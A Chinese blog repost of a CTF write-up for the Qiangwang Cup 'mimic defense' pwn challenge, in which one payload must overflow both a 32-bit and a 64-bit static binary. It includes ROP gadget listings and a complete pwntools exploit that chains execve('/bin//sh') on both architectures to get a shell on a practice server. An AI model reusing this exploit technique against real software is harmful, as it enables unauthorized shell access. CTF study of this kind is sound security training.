我是靠谱客的博主 平常冰棍,最近开发中收集的这篇文章主要介绍强网杯-拟态,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

做了一道拟态防御的题目。程序给了两个附件,一个32位一个64位。只有PIE保护没有开启。

32位

int vul()
{
  char v1; // [esp+Ch] [ebp-10Ch]

  setbuf(stdin, 0);
  setbuf(stdout, 0);
  j_memset_ifunc((int)&v1, 0, 256);
  read(0, &v1, 768);
  return puts(&v1);
}

非常明显的一个溢出

64位

__int64 vul()
{
  __int64 v0; // rdx
  char buf; // [rsp+0h] [rbp-110h]

  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  j_memset_ifunc(&buf, 0LL, 256LL);
  read(0, &buf, 0x300uLL);
  return puts(&buf, &buf, v0);
}

和32位的程序是一模一样的。

到这里我就懵了,不知道啥意思,于是我就去搜集了一些拟态防御的资料。

总结了一下就是,构建不同的架构组件,来实现相同的业务。当有黑客进行攻击的时候,这些相同的业务输出不同就能识别黑客攻击。

这里的话因该就是,靶机上运行了两个程序,32位和64位,当我们去发payload的时候,必须32位和64位同时打通,否则就会报错(应为打通一个的话,另外一个输出不同)
看一下,溢出长度是0x110没错,但是32位到ret_addr是0x114而64位是0x118,所以我们需要控制返回地址做一点改变,

32位返回地址在64位里面是fake_rbp,所以如果我们让32位的地方是add esp,4然后再写ROP那么就可以两个都打通了。

这个题提供了便利,因为都是静态编译,所以肯定有很多gadget,尝试去搜一下。

0x0804f095 : add esp, 0x1c ; ret
0x080a69f2 : add esp, 0x20 ; ret
0x0804991a : add esp, 0x2c ; ret
0x080a8f69 : add esp, 0xc ; ret



0x000000000044a699 : add rsp, 0x148 ; ret
0x0000000000414ef8 : add rsp, 0x18 ; ret
0x000000000043b749 : add rsp, 0x28 ; ret
0x0000000000461f85 : add rsp, 0x38 ; ret
0x000000000046d438 : add rsp, 0x48 ; ret
0x000000000043b979 : add rsp, 0x58 ; ret
0x000000000043b86b : add rsp, 0x68 ; ret
0x0000000000461d30 : add rsp, 0x78 ; ret
0x000000000040cd17 : add rsp, 0x80 ; ret
0x00000000004079d4 : add rsp, 0xd8 ; ret
0x0000000000400412 : add rsp, 8 ; ret

可以选择 add esp,0xcadd rsp,(32位ROP的长度+0x8)

然后我以为要去泄露libc啥的,但是我发现了ROPgadget的一个新东西,当我们gadget够多的时候,可以

ROPgadget --binary pwn --ropchain自动生成ROP链,直接getshell

来看看32位的

直呼nb,把哪些inc eax改一下。然后算一下长度。

100

然后发现找不到适合的gadget,于是我们随便选择了一个。

0xd8,写了如下payload

payload = 'a'.ljust(0x10c + 0x4,'x00') + p32(add_esp_0ch_addr) + 'x00'*4
payload += p64(add_rsp_d8h_addr) + payload32.ljust(0xd8,'x00') + payload64 

0x10c+0x4是32位的ret,然后接上0x1c的无效字符(对32位来说),最后就是32位的payload,64位的返回地址刚好是0x110+0x8的地方。

exp

from pwn import *
from struct import *                                                
context(log_level = 'debug',os = 'linux',arch = 'i386')             
                                                                    
#sh = process("./pwn2")                                             
#sh = process("./pwn")                                              
sh = remote("node3.buuoj.cn","26678")                               
                                                                    
p = ''                                                              
                                                                    
p += pack('<I', 0x0806e9cb) # pop edx ; ret                         
p += pack('<I', 0x080d9060) # @ .data                               
p += pack('<I', 0x080a8af6) # pop eax ; ret                         
p += '/bin'                                                         
p += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret        
p += pack('<I', 0x0806e9cb) # pop edx ; ret                         
p += pack('<I', 0x080d9064) # @ .data + 4                           
p += pack('<I', 0x080a8af6) # pop eax ; ret                   
p += '//sh'       
p += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e9cb) # pop edx ; ret                   
p += pack('<I', 0x080d9068) # @ .data + 8                     
p += pack('<I', 0x08056040) # xor eax, eax ; ret              
p += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret  
p += pack('<I', 0x080481c9) # pop ebx ; ret                 
p += pack('<I', 0x080d9060) # @ .data                     
p += pack('<I', 0x0806e9f2) # pop ecx ; pop ebx ; ret   
p += pack('<I', 0x080d9068) # @ .data + 8       
p += pack('<I', 0x080d9060) # padding without overwrite e
p += pack('<I', 0x0806e9cb) # pop edx ; ret          
p += pack('<I', 0x080d9068) # @ .data + 8                
p += pack('<I', 0x08056040) # xor eax, eax ;ret      
p += pack('<I', 0x080a8af6) # pop eax ; ret        
p += p32(0xb)
p += pack('<I', 0x080495a3) # int 0x80

payload32 = p
p = ''

p += pack('<Q', 0x0000000000405895) # pop rsi ; ret                 
p += pack('<Q', 0x00000000006a10e0) # @ .data                       
p += pack('<Q', 0x000000000043b97c) # pop rax ; ret                 
p += '/bin//sh'                                                     
p += pack('<Q', 0x000000000046aea1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000405895) # pop rsi ; ret                 
p += pack('<Q', 0x00000000006a10e8) # @ .data + 8                           
p += pack('<Q', 0x0000000000436ed0) # xor rax, rax ; ret                    
p += pack('<Q', 0x000000000046aea1) # mov qword ptr [rsi], rax ; ret        
p += pack('<Q', 0x00000000004005f6) # pop rdi ; ret                         
p += pack('<Q', 0x00000000006a10e0) # @ .data                               
p += pack('<Q', 0x0000000000405895) # pop rsi ; ret                         
p += pack('<Q', 0x00000000006a10e8) # @ .data + 8                           
p += pack('<Q', 0x000000000043b9d5) # pop rdx ; ret                         
p += pack('<Q', 0x00000000006a10e8) # @ .data + 8                           
p += pack('<Q', 0x0000000000436ed0) # xor rax, rax ; ret                    
p += pack('<Q', 0x000000000043b97c) # pop rax ; ret
p += p64(0x3b)                                                              
p += pack('<Q', 0x00000000004011dc) # syscall                               
payload64 = p                                  
print len(payload64)                             
                                                                            
add_esp_0ch_addr =  0x080a8f69                                              
add_rsp_d8h_addr = 0x00000000004079d4                                       
                                                                            
payload = 'a'.ljust(0x10c + 0x4,'x00') + p32(add_esp_0ch_addr) + 'x00'*4  
payload += p64(add_rsp_d8h_addr) + payload32.ljust(0xd8,'x00') + payload64 
                                                                            
sh.sendlineafter("We give you a little challenge, try to pwn it?n",payload)
                                                                            
sh.interactive()                                                            

如上,学到了ROPchain

最后

以上就是平常冰棍为你收集整理的强网杯-拟态的全部内容,希望文章能够帮你解决强网杯-拟态所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(45)

评论列表共有 0 条评论

立即
投稿
返回
顶部